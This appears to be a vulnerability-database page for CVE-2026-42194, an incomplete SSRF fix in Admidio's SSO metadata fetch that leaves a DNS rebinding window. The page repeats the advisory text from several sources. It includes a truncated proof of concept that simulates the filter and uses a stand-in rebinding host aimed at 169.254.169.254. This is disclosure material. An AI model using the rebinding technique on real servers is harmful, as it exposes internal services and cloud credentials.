Every CVE Search/ Get API key

CVE-2026-42194

Incomplete fix for CVE-2026-32812: SSRF in admidio

6.8 MediumFix available

Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.24%Up 0.2 points since May 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.8

Incomplete fix for CVE-2026-32812: SSRF in admidio

Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.

Record
CVE-2026-42194
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-28296 6.8

Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.

Record
EUVD-2026-28296
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-hcjj-chvw-fmw9 6.8

Admidio has an incomplete fix for CVE-2026-32812 (SSRF)

Summary

The incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.

Affected Package

  • Ecosystem: Other
  • Package: admidio
  • Affected versions: < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
  • Patched versions: >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a

Severity

Medium

CWE

CWE-918 — Server-Side Request Forgery (SSRF)

Details

In modules/sso/fetch_metadata.php (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs filter_var($rawUrl, FILTER_VALIDATE_URL) (line 27), resolves the hostname via gethostbyname() and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to curl_init($url) at line 41.

The fundamental problem is at step 4: cURL resolves the hostname again independently. Between gethostbyname() at step 3 and curl_exec() at step 4, a DNS rebinding attack can cause the hostname to resolve to 169.254.169.254 (AWS metadata), 127.0.0.1, or any other internal address. No CURLOPT_RESOLVE is set to pin the hostname to the validated IP.

The TOCTOU window between gethostbyname() and curl_exec() is the core issue, and the patch does not close it.

PoC

#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php

Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.

Real vulnerable PHP code copied from:
  Admidio/admidio, modules/sso/fetch_metadata.php

This PoC runs the actual PHP validation logic via `php -r`.
"""

import subprocess
import sys
import os

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")


def run_php(code):
    return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)


def main():
    if not os.path.exists(VULN_PHP):
        print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
        sys.exit(1)

    print(f"Source file: {VULN_PHP}")
    print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")

    php_code = r"""
    echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";

    // Extracted from: modules/sso/fetch_metadata.php lines 21-49
    // Character-for-character copy of the validation logic:
    function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
        // Only allow https:// scheme (line 21)
        if (!preg_match('#^https://#i', $rawUrl)) {
            return ['blocked' => true, 'reason' => 'Not HTTPS'];
        }

        // Validate URL (line 27)
        $url = filter_var($rawUrl, FILTER_VALIDATE_URL);
        if (!$url) {
            return ['blocked' => true, 'reason' => 'Invalid URL'];
        }

        // Resolve hostname and block internal/private IP ranges (lines 34-38)
        $host = parse_url($url, PHP_URL_HOST);
        $ip = $simulated_ip;  // In real code: gethostbyname($host)

        if (filter_var($ip, FILTER_VALIDATE_IP,
            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
            return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"];
        }

        // VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname
        return [
            'blocked' => false,
            'url_passed_to_curl' => $url,
            'host' => $host,
            'checked_ip' => $ip,
        ];
    }

    $tests = [
        ['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',
         'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],
       …
Record
GHSA-hcjj-chvw-fmw9
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 6.8

Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.

Record
CVE-2026-42194
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 6.8

Incomplete fix for CVE-2026-32812: SSRF in admidio

Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. This issue has been patched in version 5.0.9.

Record
CVE-2026-42194
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-hcjj-chvw-fmw9 6.8

Admidio has an incomplete fix for CVE-2026-32812 (SSRF)

Summary

The incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.

Affected Package

  • Ecosystem: Other
  • Package: admidio
  • Affected versions: < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
  • Patched versions: >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a

Severity

Medium

CWE

CWE-918 — Server-Side Request Forgery (SSRF)

Details

In modules/sso/fetch_metadata.php (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs filter_var($rawUrl, FILTER_VALIDATE_URL) (line 27), resolves the hostname via gethostbyname() and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to curl_init($url) at line 41.

The fundamental problem is at step 4: cURL resolves the hostname again independently. Between gethostbyname() at step 3 and curl_exec() at step 4, a DNS rebinding attack can cause the hostname to resolve to 169.254.169.254 (AWS metadata), 127.0.0.1, or any other internal address. No CURLOPT_RESOLVE is set to pin the hostname to the validated IP.

The TOCTOU window between gethostbyname() and curl_exec() is the core issue, and the patch does not close it.

PoC

#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php

Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.

Real vulnerable PHP code copied from:
  Admidio/admidio, modules/sso/fetch_metadata.php

This PoC runs the actual PHP validation logic via `php -r`.
"""

import subprocess
import sys
import os

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")


def run_php(code):
    return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)


def main():
    if not os.path.exists(VULN_PHP):
        print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
        sys.exit(1)

    print(f"Source file: {VULN_PHP}")
    print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")

    php_code = r"""
    echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";

    // Extracted from: modules/sso/fetch_metadata.php lines 21-49
    // Character-for-character copy of the validation logic:
    function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
        // Only allow https:// scheme (line 21)
        if (!preg_match('#^https://#i', $rawUrl)) {
            return ['blocked' => true, 'reason' => 'Not HTTPS'];
        }

        // Validate URL (line 27)
        $url = filter_var($rawUrl, FILTER_VALIDATE_URL);
        if (!$url) {
            return ['blocked' => true, 'reason' => 'Invalid URL'];
        }

        // Resolve hostname and block internal/private IP ranges (lines 34-38)
        $host = parse_url($url, PHP_URL_HOST);
        $ip = $simulated_ip;  // In real code: gethostbyname($host)

        if (filter_var($ip, FILTER_VALIDATE_IP,
            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
            return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"];
        }

        // VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname
        return [
            'blocked' => false,
            'url_passed_to_curl' => $url,
            'host' => $host,
            'checked_ip' => $ip,
        ];
    }

    $tests = [
        ['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',
         'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],
       …
Record
GHSA-hcjj-chvw-fmw9
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
admidio/admidio
Packagist
 through 5.0.8
5.0.9
admidio/admidio
Packagist
 before 5.0.9, plus listed versions
4.1.04.1.3v4.2-Beta.1v4.2-Beta.2v4.2-Beta.3
Show 45 moreShow less
v4.2.0v4.2.1v4.2.10v4.2.11v4.2.12v4.2.13v4.2.14v4.2.2v4.2.3v4.2.4v4.2.5v4.2.6v4.2.7v4.2.8v4.2.9v4.3-Beta.1v4.3-Beta.3v4.3-Beta.4v4.3-Beta.5v4.3.0v4.3.1v4.3.10v4.3.11v4.3.12v4.3.13v4.3.14v4.3.15v4.3.16v4.3.17v4.3.2v4.3.3v4.3.4v4.3.5v4.3.6v4.3.7v4.3.8v4.3.9v5.0-Beta.1v5.0-Beta.2v5.0-Beta.3v5.0.0v5.0.1v5.0.2v5.0.3v5.0.4
5.0.9

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-42194 is a medium vulnerability (CVSS 6.8) in Admidio, published May 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 14th percentile. Fixed in admidio/admidio 5.0.9.

References

This page doesn't list everything

Left out here: 4 versions and the rest of 2 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open